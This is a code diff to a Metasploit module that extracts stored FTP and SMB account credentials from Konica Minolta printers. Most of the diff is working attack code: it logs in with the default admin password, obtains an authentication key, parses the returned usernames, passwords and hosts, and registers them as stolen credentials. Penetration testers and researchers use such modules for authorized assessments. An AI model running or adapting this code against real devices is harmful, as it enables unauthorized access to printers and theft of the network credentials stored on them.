@@ -14,10 +14,10 @@ class Metasploit3 < Msf::Auxiliary
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
16
16
'Name' => 'Konica Minolta Password Extractor' ,
17
- 'Description' => %{
17
+ 'Description' => %q(
18
18
This module will extract FTP and SMB account usernames and passwords
19
19
from Konica Minolta mfp devices. Tested models include: C224, C280,
20
- 283, C353, C360, 363, 420, C452,C452, C452, C454e } ,
20
+ 283, C353, C360, 363, 420, C452,C452, C452, C454e ) ,
21
21
'Author' =>
22
22
[
23
23
'Deral "Percentx" Heiland' ,
@@ -28,8 +28,7 @@ def initialize(info = {})
28
28
29
29
register_options (
30
30
[
31
- OptBool . new ( 'SSL' , [ true , 'Negotiate SSL for outgoing connections' , false ] ) ,
32
- OptPort . new ( 'RPORT' , [ true , 'The target port' , '50001' ] ) ,
31
+ Opt ::RPORT ( '50001' ) ,
33
32
OptString . new ( 'USER' , [ false , 'The default Admin user' , 'Admin' ] ) ,
34
33
OptString . new ( 'PASSWD' , [ true , 'The default Admin password' , '12345678' ] ) ,
35
34
OptInt . new ( 'TIMEOUT' , [ true , 'Timeout for printer probe' , 20 ] )
@@ -118,15 +117,20 @@ def version
118
117
'method' => 'POST' ,
119
118
'data' => '<SOAP-ENV:Envelope></SOAP-ENV:Envelope>'
120
119
} , datastore [ 'TIMEOUT' ] . to_i )
121
- xml0_body = ::Nokogiri ::XML ( response . body )
122
- major_parse = xml0_body . xpath ( '//Major' ) . text
123
- minor_parse = xml0_body . xpath ( '//Minor' ) . text
124
- major = ( "#{ major_parse } " )
125
- minor = ( "#{ minor_parse } " )
126
- login ( major , minor )
127
-
128
- rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::Rex ::ConnectionError
129
- print_error ( "#{ peer } - Version check Connection failed." )
120
+ if response . nil?
121
+ print_error ( "#{ peer } - No reponse from device" )
122
+ return
123
+ else
124
+ xml0_body = ::Nokogiri ::XML ( response . body )
125
+ major_parse = xml0_body . xpath ( '//Major' ) . text
126
+ minor_parse = xml0_body . xpath ( '//Minor' ) . text
127
+ major = ( "#{ major_parse } " )
128
+ minor = ( "#{ minor_parse } " )
129
+ login ( major , minor )
130
+ end
131
+
132
+ rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::Rex ::ConnectionError
133
+ print_error ( "#{ peer } - Version check Connection failed." )
130
134
end
131
135
132
136
# This section logs on and retrieves AuthKey token
@@ -141,10 +145,15 @@ def login(major, minor)
141
145
'method' => 'POST' ,
142
146
'data' => "#{ authreq_xml } "
143
147
} , datastore [ 'TIMEOUT' ] . to_i )
144
- xml1_body = ::Nokogiri ::XML ( response . body )
145
- authkey_parse = xml1_body . xpath ( '//AuthKey' ) . text
146
- authkey = ( "#{ authkey_parse } " )
147
- extract ( major , minor , authkey )
148
+ if response . nil?
149
+ print_error ( "#{ peer } - No reponse from device" )
150
+ return
151
+ else
152
+ xml1_body = ::Nokogiri ::XML ( response . body )
153
+ authkey_parse = xml1_body . xpath ( '//AuthKey' ) . text
154
+ authkey = ( "#{ authkey_parse } " )
155
+ extract ( major , minor , authkey )
156
+ end
148
157
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::Rex ::ConnectionError
149
158
print_error ( "#{ peer } - Login Connection failed." )
150
159
end
@@ -164,34 +173,42 @@ def extract(major, minor, authkey)
164
173
'method' => 'POST' ,
165
174
'data' => "#{ smbreq_xml } "
166
175
} , datastore [ 'TIMEOUT' ] . to_i )
167
- xml2_body = ::Nokogiri ::XML ( response . body )
168
- @user_data = xml2_body . xpath ( '//User' ) . map { |val | val . text }
169
- @pass_data = xml2_body . xpath ( '//Password' ) . map { |val1 | val1 . text }
170
- @fold_data = xml2_body . xpath ( '//Folder' ) . map { |val2 | val2 . text }
171
- @ftp_host = xml2_body . xpath ( '//Address' ) . map { |val3 | val3 . text }
172
- @smb_host = xml2_body . xpath ( '//Host' ) . map { |val4 | val4 . text }
176
+ if response . nil?
177
+ print_error ( "#{ peer } - No reponse from device" )
178
+ return
179
+ else
180
+ xml2_body = ::Nokogiri ::XML ( response . body )
181
+ @smb_user = xml2_body . xpath ( '//SmbMode/User' ) . map { |val1 | val1 . text }
182
+ @smb_pass = xml2_body . xpath ( '//SmbMode/Password' ) . map { |val2 | val2 . text }
183
+ @smb_host = xml2_body . xpath ( '//SmbMode/Host' ) . map { |val3 | val3 . text }
184
+ @ftp_user = xml2_body . xpath ( '//FtpServerMode/User' ) . map { |val4 | val4 . text }
185
+ @ftp_pass = xml2_body . xpath ( '//FtpServerMode/Password' ) . map { |val5 | val5 . text }
186
+ @ftp_host = xml2_body . xpath ( '//FtpServerMode/Address' ) . map { |val6 | val6 . text }
187
+ @ftp_port = xml2_body . xpath ( '//FtpServerMode/PortNo' ) . map { |val6 | val6 . text }
188
+ end
173
189
end
174
190
i = 0
175
- # check for empty fields, identify protocol type, pass to creds database
176
- @user_data . each do
177
- fhost = "#{ @ftp_host [ i ] } "
191
+ # output SMB data
192
+ @smb_user . each do
178
193
shost = "#{ @smb_host [ i ] } "
179
- uname = "#{ @user_data [ i ] } "
180
- pword = "#{ @pass_data [ i ] } "
181
-
182
- if !shost . empty? && !uname . empty?
183
- port = '139'
184
- host = "#{ @smb_host [ i ] } "
185
- print_good ( "User=#{ uname } :Password=#{ pword } :Host=#{ host } :Port=#{ port } " )
186
- register_creds ( 'smb' , host , port , uname , pword )
187
- elsif !fhost . empty? && !uname . empty?
188
- port = '21'
189
- host = "#{ @ftp_host [ i ] } "
190
- print_good ( "User=#{ uname } Password=#{ pword } Host=#{ host } Port=#{ port } " )
191
- register_creds ( 'ftp' , host , port , uname , pword )
192
- end
194
+ sname = "#{ @smb_user [ i ] } "
195
+ sword = "#{ @smb_pass [ i ] } "
196
+ print_good ( "SMB Account:User=#{ sname } :Password=#{ sword } :Host=#{ shost } :Port=139" )
197
+ register_creds ( 'smb' , shost , '139' , sname , sword )
193
198
i += 1
194
199
end
200
+ i = 0
201
+ # output FTP data
202
+ @ftp_user . each do
203
+ fhost = "#{ @ftp_host [ i ] } "
204
+ fname = "#{ @ftp_user [ i ] } "
205
+ fword = "#{ @ftp_pass [ i ] } "
206
+ fport = "#{ @ftp_port [ i ] } "
207
+ print_good ( "FTP Account:User=#{ fname } :Password=#{ fword } :Host=#{ fhost } :Port=#{ fport } " )
208
+ register_creds ( 'ftp' , fhost , fport , fname , fword )
209
+ i += 1
210
+ end
211
+
195
212
else
196
213
print_status ( 'No AuthKey returned possible causes Authentication failed or unsupported Konica model' )
197
214
return
0 commit comments